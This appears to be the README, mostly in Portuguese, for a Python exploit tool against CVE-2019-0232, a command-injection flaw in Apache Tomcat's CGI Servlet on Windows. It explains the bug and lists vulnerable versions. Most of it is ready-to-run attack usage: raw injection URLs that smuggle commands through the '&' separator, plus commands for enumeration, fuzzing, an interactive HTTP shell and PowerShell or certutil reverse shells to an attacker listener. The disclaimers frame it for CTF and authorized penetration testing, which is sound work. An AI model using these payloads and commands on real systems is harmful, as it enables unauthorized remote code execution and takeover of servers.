
Apache Tomcat CGI Servlet RCE (Windows)
PoC educacional apenas para CTF / testes de penetração autorizados.
Executar isto contra sistemas que você não possui ou para os quais não tem permissão explícita por escrito para testar é ilegal.
CVE-2019-0232 é uma vulnerabilidade de Execução Remota de Código (RCE) no Apache Tomcat no Windows.
Quando o Servlet CGI possui enableCmdLineArguments=true (o padrão no Windows antes do patch), o Tomcat passa a string de consulta HTTP diretamente como argumentos de linha de comando para o arquivo batch CGI via Runtime.exec(). No Windows, Runtime.exec() envolve a chamada com cmd.exe /c, tornando o separador de comandos & ativo dentro desses argumentos.
Um atacante pode injetar um segundo comando do SO incluindo & (codificado na URL como %26) na URL:
GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1
# Tomcat URL-decodes → cmd.exe /c cmd.bat &whoami
# cmd.exe sees the & and runs whoami after cmd.bat exits
| Branch | Faixa Vulnerável | Corrigido Em |
|---|---|---|
| 9.0.x | 9.0.0.M1 – 9.0.17 | 9.0.18 |
| 8.5.x | 8.5.0 – 8.5.39 | 8.5.40 |
| 7.0.x | 7.0.0 – 7.0.93 | 7.0.94 |
Requisito: enableCmdLineArguments=true no conf/web.xml (padrão no Windows antes do patch).
-w)--cmd)certutil (fallback)System32, Windows, Wbem, PowerShell para que whoami, ipconfig, netstat, powershell.exe funcionem sem caminhos completosgit clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt
Python 3.8+ necessário.
python3 cve_2019_0232.py -t <TARGET_URL> [options]
Modo automático — deixe o script encontrar tudo:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto
Comando único em um endpoint conhecido:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami
Loop de shell interativo:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive
Cadeia automática completa → reverse shell (nenhum nc separado necessário):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444
The script opens its own TCP listener on --lport, fires the PowerShell payload, and drops you into an interactive shell when the target calls back.
Reverse shell PowerShell em um caminho conhecido:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444
Stager certutil (se PowerShell estiver bloqueado):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil
Wordlist personalizada para fuzzing:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt
Entries without a file extension are automatically probed as both .bat and .cmd.
Rotear através do Burp Suite:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080
Mostrar a URL de injeção bruta antes de cada requisição:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url
posicional / obrigatório:
-t, --target URL URL base do alvo, ex.: http://10.10.10.x:8080
caminho:
-p, --path PATH Caminho conhecido do script CGI, ex.: /cgi/cmd.bat
modos:
--auto Cadeia completa: enum → fuzz → interativo
--enum Enumerar versão do Tomcat e caminhos CGI
--fuzz Fuzzing por endpoints de script CGI acessíveis
--cmd COMMAND Executar um único comando e exibir saída
--interactive Loop de comandos interativo (shell HTTP)
--reverse-shell Enviar reverse shell PowerShell
reverse shell:
--lhost IP IP do seu listener (use tun0 para HTB/OSCP)
--lport PORT Porta do seu listener (padrão: 4444)
--shell-method {ps,certutil}
Tipo de payload: ps (padrão) ou stager certutil
opções:
-w, --wordlist FILE Nomes CGI extras para fuzzing (um por linha)
--threads N Threads de fuzzing (padrão: 15)
--timeout N Timeout HTTP em segundos (padrão: 10)
--proxy URL Proxy HTTP, ex.: http://127.0.0.1:8080
--no-ssl-verify Desabilitar verificação de certificado TLS
--show-url Exibir a URL de injeção completa antes de cada requisição
O script constrói a URL de injeção em três etapas:
Injeção de PATH — envolve seu comando em um grupo que define o PATH primeiro:
(SET PATH=C:\Windows\System32;C:\Windows;...&echo.&<your command> 2>&1)
The echo. outputs a blank line, satisfying Tomcat's CGI header parser so the response body is visible.
Codificação de URL — espaços se tornam +, caracteres especiais se tornam %XX via urllib.parse.quote.
Ponto de injeção — o grupo codificado é colocado após %26 (o separador &):
/cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
Esta ferramenta é fornecida apenas para fins educacionais e testes de segurança autorizados.
O autor não se responsabiliza por qualquer uso indevido ou dano causado por esta ferramenta.
Sempre obtenha permissão explícita por escrito antes de testar qualquer sistema.
2>&1 anexado automaticamente para que a saída de erro seja visível--proxy http://127.0.0.1:8080| Flag | Descrição |
|---|
--auto | Enum → fuzz → entra no shell interativo |
--enum | Apenas enumerar a versão do Tomcat e caminhos CGI |
--fuzz | Fuzzing por endpoints .bat/.cmd acessíveis |
--cmd COMMAND | Executar um único comando |
--interactive | Loop de shell HTTP interativo |
--reverse-shell | Gerar um reverse shell (requer --lhost) |